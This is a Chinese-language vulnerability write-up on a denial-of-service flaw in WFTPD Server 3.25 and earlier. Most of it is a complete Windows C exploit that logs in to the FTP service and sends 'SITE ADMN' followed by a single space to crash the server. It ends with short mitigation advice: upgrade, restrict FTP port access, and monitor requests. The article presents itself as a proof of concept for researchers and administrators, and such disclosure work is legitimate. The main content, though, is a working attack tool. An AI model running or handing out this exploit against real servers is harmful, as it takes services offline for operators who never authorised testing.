WFTPD Server ≤ 3.25 SITE ADMN 拒绝服务漏洞
先来了解这个漏洞的背景。WFTPD 服务器在 3.25 及更早版本中,存在一个隐蔽的远程拒绝服务问题,属于典型的 WFTPD 拒绝服务漏洞。攻击者只需能够连接 FTP 端口并获取合法用户凭证,发送一条特制的 SITE ADMN 命令,即可直接导致服务器崩溃。虽然原理看似简单,但其影响范围不容忽视——凡是暴露在公网上的老版本 WFTPD 都可能成为攻击目标。
该漏洞的核心在于 SITE ADMN 命令后跟一个空格(ASCII 32),也就是代码注释中提到的“this char is powerful”。服务器在处理该命令时,未能对参数进行正确的边界检查,从而引发内存崩溃。从攻击者视角来看,整个利用过程仅需三步:登录、构造恶意命令、发送,之后目标服务便会立即宕机。
以下是完整的攻击代码示例。需要说明的是,这段代码仅为概念验证(PoC),仅供安全研究人员和系统管理员用于漏洞修复参考。
/************************************************************************
*WFTPD server <= 3.25 SITE ADMN DoS *
* *
*Sending command SITE ADMN \32 makes server BOOM *
* *
*usage: wftpd_dos.exe ip port user pass *
* *
************************************************************************/
#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")
int main(int argc, char* argv[])
{
struct hostent *he;
struct sockaddr_in sock_addr;
WSADATA wsa;
int ftpsock;
char recvbuff[1024];
char evilbuff[100];
int buflen=100;
if (argc!=5)
{
printf("[ ] Usage: %s \n",argv[0]);
return 1;
}
WSACleanup();
WSAStartup(MAKEWORD(2,0),&wsa);
printf("[ ] Connecting to %s:%s ... ",argv[1],argv[2]);
if ((he=gethostbyname(argv[1])) == NULL) {
printf("Failed\n[-] Could not init gethostbyname\n");
return 1;
}
if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf("Failed\n[-] Socket error\n");
return 1;
}
sock_addr.sin_family = PF_INET;
sock_addr.sin_port = htons(atoi(argv[2]));
sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(sock_addr.sin_zero), '\0', 8);
if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
return 1;
}
printf("OK\n");
memset(recvbuff,'\0',1024);
recv(ftpsock, recvbuff, 1024, 0);
memset(evilbuff,'\0',buflen);
memcpy(evilbuff,"USER ",5);
memcpy(evilbuff+5,argv[3],strlen(argv[3]));
memcpy(evilbuff+5+strlen(argv[3]),"\r\n\0",3);
printf("[ ] Sending USER ... ");
if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
printf("Failed\n[-] Could not send\n");
return 1;
}
printf("OK\n");
memset(recvbuff,'\0',1024);
recv(ftpsock, recvbuff, 1024, 0);
memset(evilbuff,'\0',buflen);
memcpy(evilbuff,"PASS ",5);
memcpy(evilbuff+5,argv[4],strlen(argv[4]));
memcpy(evilbuff+5+strlen(argv[4]),"\r\n\0",3);
printf("[ ] Sending PASS ... ");
if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
printf("Failed\n[-] Could not send\n");
return 1;
}
printf("OK\n");
recv(ftpsock, recvbuff, 1024, 0);
memset(evilbuff,'\0',buflen);
memcpy(evilbuff,"SITE ADMN ",10);
memset(evilbuff+10,32,1); //this char is powerful :p
memcpy(evilbuff+10+1,"\r\n\0",3);
printf("[ ] Sending SITE ADMN ... ");
if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
printf("Failed\n[-] Could not send\n");
return 1;
}
printf("OK\n");
printf("[ ] Host should be down\n");
return 0;
}
代码逻辑非常清晰:首先建立 socket 连接,随后依次发送 USER 和 PASS 完成身份验证,最后发送带有空格的 SITE ADMN 命令。一旦成功执行,目标服务将立即停止响应。需要特别提醒的是,这段代码仅用于安全教育和漏洞测试,任何未经授权的利用行为均属非法。
从防御角度出发,最直接的缓解措施是升级 WFTPD 到最新版本,或者在防火墙上严格限制对 FTP 端口的访问。此外,如果因业务需要必须保留老版本,可尝试对 SITE ADMN 命令的异常请求频率进行监控,但这只能起到临时缓解作用,无法根除漏洞本身。
